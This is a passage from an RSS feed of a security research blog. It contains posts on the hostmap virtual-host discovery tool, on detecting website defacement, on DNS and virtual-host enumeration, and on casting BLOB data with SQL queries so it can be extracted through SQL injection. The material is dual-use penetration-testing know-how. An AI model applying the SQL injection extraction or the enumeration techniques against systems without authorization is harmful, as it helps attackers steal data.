* Added info gathering plugin using dnshistory.org.<br />
* Added wildcard domains detection.<br />
* Added wildcard X.509 certificate detection.<br />
* Added -d option to use a user supplied list of DNS servers<br />
* Added blacklist for second level TLD (for example co.uk) detection.<br />
* Added an enumeration plugin to use Microsoft Bing via API. API key must be provided in configuration file.<br />
* Added a configuration file (hostmap.conf) to keep user settings.<br />
* Added option &#8211;http-ports to specify the ports to check for an HTTP/HTTPS service.</p>
<p>See the complete list of changes at <a href="http://hostmap.sourceforge.net/doc/Changelog.txt">http://hostmap.sourceforge.net/doc/Changelog.txt</a>.</p>
<h2>Download</h2>
<p>You can download it in the following formats:</p>
<p>* Source gzip compressed,<br />
<a href="https://sourceforge.net/projects/hostmap/files/hostmap/hostmap-0.2/hostmap-0.2.zip/download">https://sourceforge.net/projects/hostmap/files/hostmap/hostmap-0.2/hostmap-0.2.tar.gz/download</a></p>
<p>* Source zip compressed,<br />
<a href="https://sourceforge.net/projects/hostmap/files/hostmap/hostmap-0.2/hostmap-0.2.zip/download">https://sourceforge.net/projects/hostmap/files/hostmap/hostmap-0.2/hostmap-0.2.zip/download</a></p>
<h2>Documentation</h2>
<p>hostmap user&#8217;s manual: <a href="http://hostmap.sourceforge.net/doc/README.pdf">http://hostmap.sourceforge.net/doc/README.pdf</a></p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/tools/hostmap-0-2-released/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Website defacement detection techniques</title>
		<link>http://lab.lonerunners.net/paper/website-defacement-detection-techniques</link>
		<comments>http://lab.lonerunners.net/paper/website-defacement-detection-techniques#comments</comments>
		<pubDate>Tue, 13 Oct 2009 22:22:43 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[Paper]]></category>
		<category><![CDATA[defacement]]></category>
		<category><![CDATA[detection]]></category>
		<category><![CDATA[website monitoring]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=91</guid>
		<description><![CDATA[photo credit: anarchosyn Table of Contents 1. Website defacement 2. Anomaly detection systems 2.1 Checksum comparison 2.2 Diff comparison 2.3 DOM tree analysis 2.4 Complex algorithms 3. Signature detection 4. Thresholds and worst cases 1. Website defacement A website defacement is the unauthorized substitution of a web page or a part of it by a [...]]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: right"></h2>
<p style="text-align: center"><img src="http://farm3.static.flickr.com/2227/2058607525_77c79f877b.jpg" border="0" alt="Rime Bandit Close-Up AWR MSK 7thLetter LosAngeles Graffiti Art" /></p>
<p style="text-align: right"><a title="Attribution-ShareAlike License" href="http://creativecommons.org/licenses/by-sa/2.0/" target="_blank"><img src="http://lab.lonerunners.net/wp-content/plugins/photo-dropper/images/cc.png" border="0" alt="Creative Commons License" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a title="anarchosyn" href="http://www.flickr.com/photos/24293932@N00/2058607525/" target="_blank">anarchosyn</a></p>
<h2>Table of Contents</h2>
<p>1. Website defacement<br />
2. Anomaly detection systems<br />
2.1 Checksum comparison<br />
2.2 Diff comparison<br />
2.3 DOM tree analysis<br />
2.4 Complex algorithms<br />
3. Signature detection<br />
4. Thresholds and worst cases</p>
<h2>1. Website defacement</h2>
<p>A website defacement is the unauthorized substitution of a web page or a part of it by a system cracker. A defacement is generally meant as a kind of electronic graffiti, although recently it has become a means to spread messages by politically motivated cyber protesters or hacktivists.<br />
This is a very common form of attack that seriously damages the trust and the reputation of a website.<br />
Detecting web page defacements is one of the main services for the security monitoring system.<br />
A lot of time ago I wrote a small &amp; smart application to detect web site defacements in large scale with the ability to monitor a lot (thousands) of websites. This was a test to collect some statistics, so I tried to do it in a short time: I wrote it in a few days.<br />
So I was asking me about what techniques and technologies I can use to get the highest detection rate with the minimum effort.<br />
I choose Ruby, Ruby on Rails for the user interface and Event Machine to speed up the performances.<br />
With only few days of development I can&#8217;t struggle with complex algorithms to detect defacements, but I choose some very simple techniques, that after some months of tests, seemed to be very effective. The performance and detection rate of this &#8220;poor man&#8221; techniques are comparable to some others commercial monitoring systems.<br />
The key feature of the proposed techniques is that it does not require the installation of a component (like an HIDS) or a participation of the site maintainers. It require only the URL of the web site to monitor.<br />
Today I want to share this brainstorming about web site detection techniques.</p>
<h2>2. Anomaly detection systems</h2>
<p>Anomaly detection refers to detecting patterns in a given data set that do not conform to an established normal behavior. The patterns thus detected are called anomalies and often translate to critical and actionable information in several application domains.<br />
The defacement monitoring application needs to detect a change in a web page and detect if it&#8217;s &#8220;normal&#8221; or it&#8217;s an &#8220;anomaly&#8221;.<br />
To create a set of &#8220;normal&#8221; a preliminary learning phase builds a profile of the monitored web page, then the web site can be monitored for &#8220;anomaly&#8221; changes.<br />
The detection of a defacement is based on a dynamic threshold, if the web page changed over this threshold the system treat it as defaced and throw a defacement alert.<br />
This threshold is updated to avoid the obsolescence of his value and the learning set.</p>
<h2>2.1 Checksum comparison</h2>
<p>The simplest way to detect a change in some text-formatted data, like a HTML page, is to compute and check his checksum with a hash algorithm like MD5 or SHA1.<br />
Only a little change in the monitored web page generate a different checksum, so you can detect a defacement.<br />
This works well for &#8220;best of &#8217;90s&#8221; web sites which uses only static content, but for today&#8217;s web pages with contents that change at every reload this technique is quite obsolete.<br />
For example a web page with a counter or a timers inside changes his content at every reload and the checksum is continually different.<br />
Moreover this type of check cannot observe a threshold based system because it&#8217;s a comparison with a true or false result.</p>
<h2>2.2 Diff comparison</h2>
<p>There are some libraries in python and ruby implementing the widely known unix tool diff, using it we can get the difference between two web pages.<br />
We can use a threshold based system learning the usual difference percentage of a web page and check if a changeset is under the usual threshold.<br />
This is a very fast but very effective technique which works well in most dynamic sites.</p>
<h2>2.3 DOM tree analysis</h2>
<p>This is a similar strategy to the diff comparison, but is used the DOM tree instead of the plain HTML content for the comparison.<br />
The layout of a website changes, tags and properties, have little changes during time. Using this fact you can build up a threshold based system as above.</p>
<h2>2.4 Complex algorithms</h2>
<p>You can design a lot of algorithms, or use some of the already known, but this is a very expensive work. I haven&#8217;t used any complex logic or algorithm but if you want to follow this way you can find a lot of academic papers about this field.</p>
<h2>3. Signature detection</h2>
<p>The web pages are examined for pre-configured and predetermined attack patterns known as signatures. Many attacks today have distinct signatures. The collection of these signatures must be constantly updated to mitigate emerging threats. I used the wide database of <a href="http://www.zone-h.org">Zone-h</a> to build a signature set always updated.</p>
<h2>4. Thresholds and worst cases</h2>
<p>The bigger effort is<strong> </strong>design the engagement rules and tuning good thresholds.<br />
The percentage of changes in a website can change during time, an evaluation of both anomaly detection and signature detection techniques, using a weighted logic can help to reduce false positives.<br />
You must remember that you need to deal with website restyling, layout changes, widgets and banners that can be removed or added.<br />
As today there are some worst cases that causes false negatives: defacement done via javascript (levaraging on a XSS vulnerability) or via CSS, or partial defacements (do you remember the securityfocus.com defacement?) where only a part, like an image or a banner, of the website changes.</p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/paper/website-defacement-detection-techniques/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>PHP Filesystem Attack Vectors @ Ush.it</title>
		<link>http://lab.lonerunners.net/paper/php-filesystem-attack-vectors-ush-it</link>
		<comments>http://lab.lonerunners.net/paper/php-filesystem-attack-vectors-ush-it#comments</comments>
		<pubDate>Tue, 28 Jul 2009 19:30:19 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[Paper]]></category>
		<category><![CDATA[attack vector]]></category>
		<category><![CDATA[filesystem]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=89</guid>
		<description><![CDATA[photo credit: Ivo Jansch The Ush.it team published the second part of &#8220;PHP Filesystem Attack Vectors&#8221; paper. Have a nice read here!]]></description>
			<content:encoded><![CDATA[<p style="text-align: center"><a title="Evil elephpant" href="http://www.flickr.com/photos/9813542@N08/2700202117/" target="_blank"><img class="aligncenter" src="http://farm4.static.flickr.com/3252/2700202117_85079ac868.jpg" border="0" alt="Evil elephpant" /></a><br />
<a title="Attribution-ShareAlike License" href="http://creativecommons.org/licenses/by-sa/2.0/" target="_blank"><img src="http://lab.lonerunners.net/wp-content/plugins/photo-dropper/images/cc.png" border="0" alt="Creative Commons License" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a title="Ivo Jansch" href="http://www.flickr.com/photos/9813542@N08/2700202117/" target="_blank">Ivo Jansch</a></p>
<p>The <a href="http://www.ush.it">Ush.it</a> team published the second part of &#8220;<a href="http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/">PHP Filesystem Attack Vectors</a>&#8221; paper. Have a nice read <a href="http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/">here</a>!</p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/paper/php-filesystem-attack-vectors-ush-it/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Follow Secdocs on Twitter</title>
		<link>http://lab.lonerunners.net/blog/follow-secdocs-on-twitter</link>
		<comments>http://lab.lonerunners.net/blog/follow-secdocs-on-twitter#comments</comments>
		<pubDate>Thu, 02 Jul 2009 23:05:54 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[secdocs]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=81</guid>
		<description><![CDATA[photo credit: tashmahal You can follow SecDocs updates on Twitter now! With few lines of ruby code and twitter4r gem now each new document added to SecDocs is posted as twitter status update. So if you prefer twitter to RSS feed subscribe to @secdocs updates.]]></description>
			<content:encoded><![CDATA[<p align="center"><a href="http://www.flickr.com/photos/25642587@N00/2724175411/" title="Twitter Bird" target="_blank"><img src="http://farm4.static.flickr.com/3158/2724175411_74293899db.jpg" alt="Twitter Bird" border="0" /></a><br /><a href="http://creativecommons.org/licenses/by/2.0/" title="Attribution License" target="_blank"><img src="http://lab.lonerunners.net/wp-content/plugins/photo-dropper/images/cc.png" alt="Creative Commons License" border="0" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a href="http://www.flickr.com/photos/25642587@N00/2724175411/" title="tashmahal" target="_blank">tashmahal</a></p>
<p>You can follow <a href="http://secdocs.lonerunners.net">SecDocs</a> updates on <a href="http://twitter.com/secdocs">Twitter</a> now! With few lines of ruby code and <a href="http://twitter4r.rubyforge.org">twitter4r</a> gem now each new document added to <a href="http://secdocs.lonerunners.net">SecDocs</a> is posted as twitter status update.<br />
So if you prefer twitter to <a href="http://secdocs.lonerunners.net/feed">RSS feed</a> subscribe to @<a href="http://twitter.com/secdocs">secdocs</a> updates.</p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/blog/follow-secdocs-on-twitter/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>hostmap 0.1 released</title>
		<link>http://lab.lonerunners.net/tools/hostmap-01-released</link>
		<comments>http://lab.lonerunners.net/tools/hostmap-01-released#comments</comments>
		<pubDate>Wed, 13 May 2009 22:22:38 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[hostmap]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[discovery]]></category>
		<category><![CDATA[dns enumeration]]></category>
		<category><![CDATA[dns name]]></category>
		<category><![CDATA[virtual host]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=73</guid>
		<description><![CDATA[I am happy to announce hostmap: hostmap is a free, automatic, hostnames and virtual hosts discovery tool written in Python by Alessandro `jekil` Tanasi and licensed under GNU General Public License version 3 (GPLv3). It&#8217;s goal is to enumerate all hostnames and configured virtual hosts on an IP address. The primary users of hostmap are [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-full wp-image-75 aligncenter" src="http://lab.lonerunners.net/wp-content/uploads/2009/05/screenshot-hostmap-the-automatic-hostnames-and-virtual-hosts-discovery-tool-mozilla-firefox.png" alt="hostmap" width="500" /></p>
<p>I am happy to announce hostmap:</p>
<blockquote><p><strong>hostmap</strong> is a free, automatic, hostnames and virtual hosts discovery tool written in Python by  			<a href="http://www.tanasi.it/">Alessandro `jekil` Tanasi</a> and licensed  			under <a href="http://www.gnu.org/licenses/gpl-3.0.html">GNU General Public License version 3</a> (GPLv3).  			It&#8217;s goal is to enumerate all hostnames and configured virtual hosts on an IP address. 			The primary users of hostmap are professionals performing vulnerability assessments and penetration tests.</p></blockquote>
<p>Take a look at <a href="http://hostmap.sourceforge.net/">http://hostmap.sourceforge.net/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/tools/hostmap-01-released/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Binary data fetching through SQLi</title>
		<link>http://lab.lonerunners.net/blog/binary-data-fetching-through-sqli</link>
		<comments>http://lab.lonerunners.net/blog/binary-data-fetching-through-sqli#comments</comments>
		<pubDate>Mon, 23 Feb 2009 20:45:23 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Paper]]></category>
		<category><![CDATA[binary data]]></category>
		<category><![CDATA[blob]]></category>
		<category><![CDATA[data casting]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=18</guid>
		<description><![CDATA[photo credit: spdorsey Table of contents 1. Introduction 2. How BLOB storage works 3. Casting binary data 3.1 MySQL 3.2 PostgreSQL 3.3 SQL Server 4. References 1. Introduction Exploiting a SQL injection flaw in a web application can give the attacker full control of the remote DBMS. One of the major consequences of exploiting consists [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img src="http://farm4.static.flickr.com/3250/2920925776_2b18b82344.jpg" border="0" alt="10" /></p>
<p style="text-align: right;"><a title="Attribution-NoDerivs License" href="http://creativecommons.org/licenses/by-nd/2.0/" target="_blank"><img src="http://lab.lonerunners.net/wp-content/plugins/photo-dropper/images/cc.png" border="0" alt="Creative Commons License" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a title="spdorsey" href="http://www.flickr.com/photos/47082206@N00/2920925776/" target="_blank">spdorsey</a></p>
<h2>Table of contents</h2>
<p>1. Introduction<br />
2. How BLOB storage works<br />
3. Casting binary data<br />
3.1 MySQL<br />
3.2 PostgreSQL<br />
3.3 SQL Server<br />
4. References</p>
<h2>1. Introduction</h2>
<p>Exploiting a SQL injection flaw in a web application can give the attacker full control of the remote DBMS. One of the major consequences of exploiting consists in fetching all or part of the data stored in the database.</p>
<p>In several cases, like a web application that stores images on the database, the attacker has to deal with binary data.</p>
<p>Follows some techniques to fetch binary data via a SQL injection flaw.</p>
<h2>2. How BLOB storage works</h2>
<p>According to Wikipedia a BLOB[1] is:</p>
<blockquote><p>A binary large object, also known as a blob, is a collection of binary data stored as a single entity in a database management system. Blobs are typically images, audio or other multimedia objects, though sometimes binary executable code is stored as a blob. Database support for blobs is not universal.</p>
<p>Blobs were originally just amorphous chunks of data invented by Jim Starkey at DEC, who describes them as &#8220;the thing that ate Cincinnati, Cleveland, or whatever&#8221;. Later, Terry McKiever, a marketing person for Apollo felt that it needed to be an acronym and invented the backronym Basic Large Object. Then Informix invented an alternative backronym, Binary Large Object. Today many people believe that blob was originally intended as an acronym for something.</p></blockquote>
<p>The BLOB data can be stored in the DBMS tables or as usual file system files linked by a pointer in the data table.  The BLOB storage engine  is built with one or a combination of these techniques to get the best performances.</p>
<p>The BLOB storage is handled by the DBMS engine that provides high level SQL statement to the user.</p>
<h2>3. Casting Binary data</h2>
<p>The idea behind the hack is to cast the BLOB data to another data-type that can be fetched via SQLi. For example: cast a BLOB to a string containing the BLOB encoded in base64, so we can use a string representation of binary object that acts as middleware to fetch data over any type of SQL injection.</p>
<p>As far as I know there are no public automatic SQL injection tools that can fetch binary data from a vulnerable web application.</p>
<h2>3.1 MySQL</h2>
<p>In MySQL SQL syntax the function HEX()[2] can be used to get the hexadecimal value of one field of any data-type. The function HEX(`foo`) returns a string representation of the hexadecimal value of foo, where foo is a binary large object (BLOB). So we can cast a binary data-type to a string data-type.</p>
<p>For example the following SQL statement returns the hexadecimal value of the binary object stored in the field named blob:</p>
<blockquote><p>SELECT HEX(`blob`) FROM footable;</p></blockquote>
<p>Now we can use the hexadecimal BLOB representation to fetch data from binary (BLOB) fields using the standard techniques to fetch data via SQL injection or blind SQL injection.</p>
<p>Using HEX() we can deal a BLOB as a text string and use the common techniques and tools.</p>
<p>Once we have fetched the binary data encoded as hexadecimal, we have to restore the original binary data out of it. We can use the SQL UNHEX() function, that get a hexadecimal string and outputs a BLOB object, a command line utility or a few lines in you favorite programming language can do the trick.</p>
<p>This is the easy way to get a textual representation of BLOB under MySQL, the HEX() function is supported from MySQL 4.1.</p>
<h2>4.2 PostgreSQL</h2>
<p>PostgreSQL can not store values of more than several thousands bytes within any data-type except large objects, nor can binary data be easily entered within single quotes. Instead, large objects (BLOB) are used to store very large values and binary data.</p>
<p>BLOB permits storage of any operating system file, including images or large text files, directly into the database.</p>
<p>As you can see in the DBMS data-type comparison sheet[3] PostgreSQL stores BLOB data in a data-type called OID that acts like a pointer to the stored object on the file system.</p>
<p>For example using the psql client from command line you can load the file into the database using lo_import(), and retrieve it from the database using lo_export() which works only for local files[4].</p>
<blockquote><p>postgres=# CREATE TABLE foo (image OID);<br />
CREATE TABLE<br />
postgres=# INSERT INTO foo VALUES (lo_import(&#8216;/tmp/bar.jpg&#8217;));<br />
INSERT 0 1</p></blockquote>
<p>The lo_import() function stores /tmp/bar.jpg into the database. The function call returns an OID that is used to refer the imported large object. This value is stored in foo.image as an integer.</p>
<p>If you want to read the foo.image value the lo_export() function uses the OID value to find the large object stored in the database, then places the exported file into the output file.</p>
<p>Full path names must be used with large objects because the database server runs in a different directory than the psql client. Files are imported and exported by the postgres user, so postgres must have permission to read the file for lo_import() and directory write permission for lo_export().</p>
<p>There are others functions to manage large objects (BLOB) available under PostreSQL[5].</p>
<p>Because large objects uses the local filesystem, users connecting over a network can not use lo_import() or lo_export(). They can, however, use psql&#8217;s \lo_import and \lo_export commands.</p>
<p>If we are exploiting a SQL injection in a web application we can&#8217;t use the functions lo_import() and lo_export() but we need a way to get the juice data on the vulnerable server.</p>
<p>From PostgreSQL documentation &#8220;String Functions and Operators&#8221;[6] we catch the function ENCODE(data bytea, type text).</p>
<p>This function encodes binary data to an ASCII-only representation. The supported types are: base64, hex, escape.</p>
<p>Now we have the function to convert a bytea data-type into a base64 or hex string. We need only to convert the BLOB OID in a bytea.</p>
<p>The fastest way to do this is a two step recipe: first get the number of OID that you need and after quering the system table pg_largeobject.</p>
<blockquote><p>postgres=# SELECT image FROM foo;<br />
image<br />
&#8212;&#8212;-<br />
16387<br />
(1 row)<br />
postgres=# SELECT ENCODE(data, &#8216;base64&#8242;) FROM pg_largeobject WHERE LOID=16387;<br />
encode<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
JVBERi0xLjINJeLjz9MNCjIwOSAwIG9iag08PCANL0xpbmVhcml6ZWQgMSAN<br />
IDYyOCA4NTEgXSANL0wgMjU4NDYxOCANL0UgMTI5NDg1IA0vTiAxNiANL<br />
DWVuZG9iag0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC<br />
[snip..]<br />
M2I4MWJkNTdlOTNjNWVmNj5dDT4+DXN0YXJ0eHJlZg0xNzMNJSVFT0YN<br />
(1263 rows)</p></blockquote>
<p>Now you get your goal and you can fetch a BLOB on PostgreSQL with only two queries.</p>
<p>For further details on PostgreSQL BLOB functions you can refer to &#8220;SQLi: Writing files to disk under PostgreSQL&#8221;[7].</p>
<h2>3.3 SQL Server</h2>
<p>SQL Server stores binary data in the following data-types: BINARY, VARBINARY, IMAGE.</p>
<p>You can create a demo table for your test with:</p>
<blockquote><p>CREATE TABLE dbo.foo<br />
(<br />
image image NULL<br />
)  ON [PRIMARY]<br />
TEXTIMAGE_ON [PRIMARY]<br />
GO</p></blockquote>
<p>You can insert the file foo.bmp with the following:</p>
<blockquote><p>INSERT INTO [tempdb].[dbo].[foo]<br />
([image])<br />
SELECT * FROM<br />
OPENROWSET(BULK N&#8217;C:\foo.bmp&#8217;, SINGLE_BLOB) AS i<br />
GO</p></blockquote>
<p>The binary data can be converted to a hex string injecting a stored procedure in SQL Server. This is described in Microsoft kb104829[8].</p>
<blockquote><p>create procedure sp_hexadecimal<br />
@binvalue varbinary(255)<br />
as<br />
declare @charvalue varchar(255)<br />
declare @i int<br />
declare @length int<br />
declare @hexstring char(16)</p>
<p>select @charvalue = &#8217;0x&#8217;<br />
select @i = 1<br />
select @length = datalength(@binvalue)<br />
select @hexstring = &#8220;0123456789abcdef&#8221;</p>
<p>while (@i &lt;= @length)<br />
begin</p>
<p>declare @tempint int<br />
declare @firstint int<br />
declare @secondint int</p>
<p>select @tempint = convert(int, substring(@binvalue,@i,1))<br />
select @firstint = floor(@tempint/16)<br />
select @secondint = @tempint &#8211; (@firstint*16)</p>
<p>select @charvalue = @charvalue +<br />
substring(@hexstring, @firstint+1, 1) +<br />
substring(@hexstring, @secondint+1, 1)</p>
<p>select @i = @i + 1</p>
<p>end</p>
<p>select &#8216;sp_hexadecimal&#8217;=@charvalue</p></blockquote>
<h2>3.4 Other DBMS</h2>
<p>The same technique can be used in any other DBMS like Oracle, DB2, Informix that have casting functions or BLOB conversion functions.</p>
<h2>4. References</h2>
<p>[1] <a href="http://en.wikipedia.org/wiki/Binary_large_object">http://en.wikipedia.org/wiki/Binary_large_object</a><br />
[2] <a href="http://dev.mysql.com/doc/mysql/en/String_functions.html">http://dev.mysql.com/doc/mysql/en/String_functions.html</a><br />
[3] <a href="http://www.lonerunners.net/1246-database-datatype-comparison-sheet.html">http://www.lonerunners.net/1246-database-datatype-comparison-sheet.html</a><br />
[4]  <a href="http://www.postgresql.org/files/documentation/books/aw_pgsql/node96.html">http://www.postgresql.org/files/documentation/books/aw_pgsql/node96.html</a><br />
[5] <a href="http://www.postgresql.org/docs/8.3/interactive/largeobjects.html">http://www.postgresql.org/docs/8.3/interactive/largeobjects.html</a><br />
[6] <a href="http://www.postgresql.org/docs/8.1/interactive/functions-string.html">http://www.postgresql.org/docs/8.1/interactive/functions-string.html</a><br />
[7] <a href="http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql">http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql</a><br />
[8] <a href="http://support.microsoft.com/kb/104829">http://support.microsoft.com/kb/104829</a></p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/blog/binary-data-fetching-through-sqli/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Virtual host and DNS names enumeration techniques</title>
		<link>http://lab.lonerunners.net/blog/virtual-host-and-dns-names-enumeration-techniques</link>
		<comments>http://lab.lonerunners.net/blog/virtual-host-and-dns-names-enumeration-techniques#comments</comments>
		<pubDate>Sat, 24 Jan 2009 17:36:52 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Paper]]></category>
		<category><![CDATA[discovery]]></category>
		<category><![CDATA[dns alias]]></category>
		<category><![CDATA[dns name]]></category>
		<category><![CDATA[enumeration]]></category>
		<category><![CDATA[hostmap]]></category>
		<category><![CDATA[virtual host]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=39</guid>
		<description><![CDATA[photo credit: Hey Paul Table of Contents 1. Why you need to enumerate 2. Techniques 2.1 DNS enumeration techniques 2.2 Banner grabbing 2.3 SSL/TLS Protocol enumeration techniques 2.4 HTTP Protocol enumeration techniques 2.5 Passive web enumeration techniques 2.6 Active web enumeration techniques 1. Why you need to enumerate The host name discovery phase is an [...]]]></description>
			<content:encoded><![CDATA[<p><a title="Culture Tubes" href="http://www.flickr.com/photos/10775233@N00/107326169/" target="_blank"></a></p>
<p style="text-align: center;"><img src="http://farm1.static.flickr.com/41/107326169_8b4e8afd1f.jpg" border="0" alt="Culture Tubes" /></p>
<p style="text-align: right;"><a title="Attribution License" href="http://creativecommons.org/licenses/by/2.0/" target="_blank"><img src="http://lab.lonerunners.net/wp-content/plugins/photo-dropper/images/cc.png" border="0" alt="Creative Commons License" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a title="Hey Paul" href="http://www.flickr.com/photos/10775233@N00/107326169/" target="_blank">Hey Paul</a></p>
<h2>Table of Contents</h2>
<p>1. Why you need to enumerate<br />
2. Techniques<br />
2.1 DNS enumeration techniques<br />
2.2 Banner grabbing<br />
2.3 SSL/TLS Protocol enumeration techniques<br />
2.4 HTTP Protocol enumeration techniques<br />
2.5 Passive web enumeration techniques<br />
2.6 Active web enumeration techniques</p>
<h2>1. Why you need to enumerate</h2>
<p>The host name  discovery phase is an information gathering act to get a complete and detailed view of target resources and attack points.</p>
<p>During an attack or a penetration test, the attacker needs to known <span style="font-size: small;"> as much information as possible about the entry</span> points to attack. An entry point can be identified with an IP address, a service port, and some application level information, like the virtual host name in the case of a web server hosting several sites.</p>
<h2>2. Techniques</h2>
<p>There are several techniques that can be used to discover host names and virtual hosts associated with a IP address.</p>
<p>Some techniques described here are implemented (and the others will be implemented soon)  in hostmap, a tool that I wrote to discover virtual hosts and DNS names of a given IP address. <span style="font-size: small;">As of today, the tool is private (it does not depend on me)</span> but I hope to release it to the public domain soon.</p>
<h2>2.1 DNS enumeration techniques</h2>
<p>The following enumeration techniques are based on the DNS protocol and are:</p>
<p>•<strong> Reverse DNS lookup</strong>: Performs a PTR request to get the host name from IP address.</p>
<p>• <strong>Name servers record lookup</strong>: Get the authoritative name server for the target host.</p>
<p>• <strong>Mail exchange record lookup</strong>: Get the MX records for the target host domain.</p>
<p>• <strong>DNS AXFR zone transfer</strong>: The name server that serve the target machine&#8217;s domain zone can be prone to a zone transfer attack. This allows an attacker to perform <span style="font-size: small;">an AXFR DNS request to retrieve all of the DNS records served.</span></p>
<p>• <strong>Host name brute forcing</strong>: Using a brute-forcing <span style="font-size: small;">technique to guess a hos</span>t name on the enumerated domain that resolve as the target ip address.</p>
<h2>2.2 Banner grabbing</h2>
<p>The services exposed by the target host can disclose a host name in the response banner. You need to simply telnet in all open ports and wait for a response banner (or negotiate the application protocol). For example this is the response banner of a SMTP server running Postfix:</p>
<pre>$ telnet 10.0.0.1 25
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
220 mail.example.lan ESMTP Postfix</pre>
<p>As you can see in the response banner you get the host name.</p>
<h2>2.3 SSL/TLS Protocol enumeration techniques</h2>
<p>The following enumeration techniques are based on the SSL/TLS protocol and is:</p>
<p>•<strong> X.509 Certificate</strong>: <span style="font-size: small;">Often the target machine exposes an HTTP over SSL service</span>. A connection is tried to the common HTTP service ports and is tried to negotiate an SSL/TLS connection, if the remote server supply a X.509 certificate the host name is taken from the Common Name (CN) field.</p>
<h2>2.4 HTTP Protocol enumeration techniques</h2>
<ul>
<li><strong>Virtual host brute-forcing</strong>: The web server can be brute-forced to guess a website served by the target host.</li>
<li><strong>Following redirects</strong>: It is possible to guess another website served by the target host following redirects (HTTP code 301 and 302).</li>
<li><strong>With error pages</strong>: If you try to get an error page (code 500) sometimes you can get an error page showing a banner with the host name.</li>
</ul>
<h2>2.5 Passive web enumeration techniques</h2>
<p>The following enumeration techniques are based on third party web sites and are:</p>
<p>• <strong>Search engines</strong>: The following search engines can be used and queried using the target IP address:</p>
<p>– Microsoft Live (with the dork &#8220;ip:&#8221;): [<a href="http://search.msn.com">http://search.msn.com</a>]</p>
<p>• <strong>GPG/PGP key databases</strong>: The following public databases can be used:</p>
<p>– MIT gpg key server: [<a href="http://pgp.mit.edu:11371">http://pgp.mit.edu:11371</a>]</p>
<p>• <strong>DNS/WHOIS databases</strong>: Public whois information databases like RIPE, or DNS snapshot database can be used to passively enumerate host name and track his history.</p>
<p>The following is a partial list of  public databases that can be used:</p>
<p>– Domainsdb: [<a href="http://www.domainsdb.net/">http://www.domainsdb.net/</a>]</p>
<p>– Fbk.de: [<a href="http://www.bfk.de/">http://www.bfk.de/</a>]</p>
<p>– Gigablast: [<a href="http://www.gigablast.com">http://www.gigablast.com</a>]</p>
<p>– Netcraft: [<a href="http://searchdns.netcraft.com">http://searchdns.netcraft.com</a>]</p>
<p>– Robtex: [<a href="http://www.robtex.com">http://www.robtex.com</a>]</p>
<p>– Tomdns: [<a href="http://www.tomdns.net">http://www.tomdns.net</a>]</p>
<p>– Web hosting: [<a href="http://whois.webhosting.info/">http://whois.webhosting.info/</a>]</p>
<p>– Web-max: [<a href="http://www.web-max.ca">http://www.web-max.ca</a>]</p>
<h2>2.6 Active web enumeration techniques</h2>
<ul>
<li><strong>Crawling</strong>: All published websites can be crawled for links to other sites and checked (if they resolve as the target IP address) to get other sites hosted on the target. This technique is very time consuming.</li>
</ul>
<p><span style="color: #ff0000;"><strong>UPDATE</strong></span>: hostmap is a free, automatic, hostnames and virtual hosts discovery tool written in Python. hostmap has been released in may and you can get it at <a href="http://hostmap.sourceforge.net/">http://hostmap.sourceforge.net/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/blog/virtual-host-and-dns-names-enumeration-techniques/feed</wfw:commentRss>
